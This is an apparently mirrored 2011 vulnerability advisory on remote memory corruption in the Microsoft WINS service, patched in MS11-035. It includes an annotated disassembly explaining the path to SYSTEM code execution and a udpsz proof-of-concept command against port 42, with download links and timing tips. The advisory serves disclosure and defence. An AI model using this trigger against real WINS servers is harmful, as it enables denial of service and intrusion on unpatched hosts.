扫码分享
验证：
体验盒子#######################################################################
Luigi Auriemma
Application:Microsoft WINS service
http://www.microsoft.com
Versions: <= 5.2.3790.4520
Platforms:Windows
Bug:arbitrary memory corruption
Exploitation: remote, versus server
Date: found21 Oct 2010
patched10 May 2011
advisory 13 Sep 2011
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web:aluigi.org
References: http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx
http://www.zerodayinitiative.com/advisories/ZDI-11-167/
#######################################################################
1) Introduction
2) Bug
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
WINS stands for "Windows Internet Name Service" and is a classical
service running on port 42 usually active in intranet environments for
resolving the NetBIOS names.
#######################################################################
======
2) Bug
======
Notes: the reported dumps refer to WINS 5.2.3790.4520 on Windows 2003
Server.
The problem is located in the function at address 0101488A used to
perform the sending of a reply packet back to the client where it's
raised an exception if send() fails, for example because the client
interrupted the connection before the receiving of the data.
In this function the size of the data to send (0x2c) is passed to
ntohl() and stored on the stack buffer where is located the beginning
of the packet to send, but when the exception is raised then the code
flow continues from 01013e86 and after a CALL EAX in msvcrt.dll arrives
on 01013e8a where EDI takes the value at [EBP-4C] which is just
0x2c000000 (yes, it's 0x2c in network endian).
I have "tried" to resume the code flow here:
01013E72 .6A 2C PUSH 2C ; /Arg3 = 0000002C
01013E74 .8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; |
01013E77 .50PUSH EAX; |Arg2
01013E78 .FF76 30 PUSH DWORD PTR DS:[ESI+30]; |Arg1
> 01013E7B .E8 0A0A0000 CALL 0101488A ; \wins.0101488A (send packet)
01013E80 .834D FC FFOR DWORD PTR SS:[EBP-4],FFFFFFFF
01013E84 .EB 0E JMP SHORT 01013E94
01013E86 .33C0XOR EAX,EAX ; arrives here after RaiseException
01013E88 .40INC EAX
01013E89 .C3RETN
> 01013E8A .8B65 E8 MOV ESP,DWORD PTR SS:[EBP-18] ; after "CALL EAX" in msvcrt the code flow arrives here
01013E8D .834D FC FFOR DWORD PTR SS:[EBP-4],FFFFFFFF
01013E91 .8B7D B4 MOV EDI,DWORD PTR SS:[EBP-4C]
01013E94 .57PUSH EDI; /Arg1 (0x2c000000)
01013E95 .E8 240D0000 CALL 01014BBE ; \wins.01014BBE
01013E9A .EB 1A JMP SHORT 01013EB6
...
0101488A/$8BFFMOV EDI,EDI
0101488C|.55PUSH EBP
0101488D|.8BECMOV EBP,ESP
0101488F|.56PUSH ESI
01014890|.8B75 0C MOV ESI,DWORD PTR SS:[EBP+C]
01014893|.FF75 10 PUSH DWORD PTR SS:[EBP+10]; /0x2c
01014896|.83C6 FC ADD ESI,-4; |
01014899|.8975 0C MOV DWORD PTR SS:[EBP+C],ESI; |
0101489C|.FF15 4C120001 CALL DWORD PTR DS:[<&WS2_32.#8>]; \ntohl
010148A2|.8345 10 04ADD DWORD PTR SS:[EBP+10],4
010148A6|.8906MOV DWORD PTR DS:[ESI],EAX; stores 0x2c000000
010148A8|.0F84 AA000000 JE 01014958
010148AE|.53PUSH EBX
010148AF|.57PUSH EDI; stores the real value to pass to LeaveCriticalSection
010148B0|.33F6XOR ESI,ESI
010148B2|.BF F0210001 MOV EDI,010021F0; "d:\nt\net\wins\server\com\comm.c"
010148B7|>BB FFFF0000 /MOV EBX,0FFFF
010148BC|.395D 10 |CMP DWORD PTR SS:[EBP+10],EBX
010148BF|.77 03 |JA SHORT 010148C4
010148C1|.8B5D 10 |MOV EBX,DWORD PTR SS:[EBP+10]
010148C4|>56|PUSH ESI ; /Flags
010148C5|.53|PUSH EBX ; |DataSize
010148C6|.FF75 0C |PUSH DWORD PTR SS:[EBP+C]; |Data
010148C9|.FF75 08 |PUSH DWORD PTR SS:[EBP+8]; |Socket
010148CC|.FF15 3C120001 |CALL DWORD PTR DS:[<&WS2_32.#19>]; \send
010148D2|.83F8 FF |CMP EAX,-1
010148D5|.75 56 |JNZ SHORT 0101492D
010148D7|.FF15 54120001 |CALL DWORD PTR DS:[<&WS2_32.#111>] ; [WSAGetLastError
010148DD|.3D 49270000 |CMP EAX,2749
010148E2|.74 39 |JE SHORT 0101491D
010148E4|.3D 46270000 |CMP EAX,2746
010148E9|.74 32 |JE SHORT 0101491D
010148EB|.3D 45270000 |CMP EAX,2745
010148F0|.74 2B |JE SHORT 0101491D
010148F2|.3D 75270000 |CMP EAX,2775
010148F7|.74 24 |JE SHORT 0101491D
010148F9|.56|PUSH ESI
010148FA|.68 2F0B0000 |PUSH 0B2F
010148FF|.57|PUSH EDI
01014900|.68 731001C0 |PUSH C0011073
01014905|>6A 01 |PUSH 1
01014907|.50|PUSH EAX
01014908|.E8 34790000 |CALL 0101C241
0101490D|>56|PUSH ESI ; /pArguments
0101490E|.56|PUSH ESI ; |nArguments
0101490F|.56|PUSH ESI ; |ExceptionFlags
01014910|.68 080000E0 |PUSH E0000008; |ExceptionCode = E0000008
> 01014915|.FF15 DC100001 |CALL DWORD PTR DS:[<&KERNEL32.Rais>; \RaiseException
0101491B|.EB 30 |JMP SHORT 0101494D
0101491D|>3935 34740201 |CMP DWORD PTR DS:[1027434],ESI
01014923|.^ 76 E8 |JBE SHORT 0101490D ; jumps
...
01014BBE/$8BFFMOV EDI,EDI
01014BC0|.55PUSH EBP
01014BC1|.8BECMOV EBP,ESP
01014BC3|.8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
01014BC6|.8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]; so EAX is 0x2c000000
01014BC9|.83C0 0C ADD EAX,0C; add 0x0c to our value
01014BCC|.50PUSH EAX; /pCriticalSection
01014BCD|.FF15 A0100001 CALL KERNEL32.LeaveCriticalSection; \LeaveCriticalSection
01014BD3|.33C0XOR EAX,EAX
01014BD5|.5DPOP EBP
01014BD6\.C2 0400 RETN 4
...
LeaveCriticalSection:
7C81A3AB >8BFFMOV EDI,EDI
7C81A3AD55PUSH EBP
7C81A3AE8BECMOV EBP,ESP
7C81A3B057PUSH EDI
7C81A3B18B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]
7C81A3B4FF4F 08 DEC DWORD PTR DS:[EDI+8]; exploitation happens here: EDI is controlled (pCriticalSection)
7C81A3B775 21 JNZ SHORT 7C81A3DA
7C81A3B953PUSH EBX
7C81A3BA56PUSH ESI
7C81A3BBC747 0C 0000000>MOV DWORD PTR DS:[EDI+C],0
7C81A3C28D77 04 LEA ESI,DWORD PTR DS:[EDI+4]
7C81A3C5BB 01000000 MOV EBX,1
7C81A3CAF0:0FC11E LOCK XADD DWORD PTR DS:[ESI],EBX
7C81A3CE43INC EBX
7C81A3CF83FB FF CMP EBX,-1
7C81A3D20F85 0B2F0200 JNZ 7C83D2E3
7C81A3D85EPOP ESI
7C81A3D95BPOP EBX
7C81A3DA33C0XOR EAX,EAX
7C81A3DC5FPOP EDI
7C81A3DD5DPOP EBP
7C81A3DEC2 0400 RETN 4
...
So EDI (the one of 01013E94) has ever the value 0x2c000000 because it's
ntohl(0x2c) and normally there would be an exception at address
01014BC6 because that zone of the memory is not allocated.
Instead it's possible to force the allocation of that zone of memory
and filling it with the own stuff simply by sending a big amount of
data in the same connection (or maybe also in time separated
connections but I have not tested).
Absolutely not a problem considering the intranet nature of the
service.
To be exact I have noticed that the starting of allocation of memory
happens after the sending of 2 gigabytes of data, when the situation
that was stable till that moment changes suddenly and the service
starts to allocate memory till occupying the about 700 megabytes needed
to reach 0x2c000000.
As already said it can be used just from the same connection, indeed
the service accepts multiple requests since it simply cares that the
max size of the data block specified in the first 32bit field is minor
or equal than 3115000 so if the content is invalid the connection
remains open and will be never closed or interrupted.
When the zone of the memory that includes 0x2c000000 is allocated
LeaveCriticalSection can be used to decrease a 32bit arbitray zone of
the memory (or in some conditions increasing it and placing 0x00000000)
giving to an attacker the opportunity of modifying the subsequent code
flow and executing code under SYSTEM privileges.
#######################################################################
===========
3) The Code
===========
http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15992.zip (udpsz.zip)
udpsz -C 00140004 -b a -l 0 -T 0xffffffff SERVER 42 0x140008
when the dots displayed by the tool no longer advance press CTRL-C and
the "DEC DWORD PTR DS:[EDI+8]" exception will be triggered immediately
with EDI equal to 0x61616161.
Note that the time needed to exploit the vulnerability depends mainly
by the memory on the machine, it can be one minute if there is one
gigabyte of RAM but can take also 10 minutes in case of 2 gigabytes so
take it in mind during your tests: launch the command and wait
(patiently) the stopping of the dots in udpsz.
#######################################################################
======
4) Fix
======
http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx
#######################################################################
---
Luigi Auriemma
http://aluigi.org
体验盒子
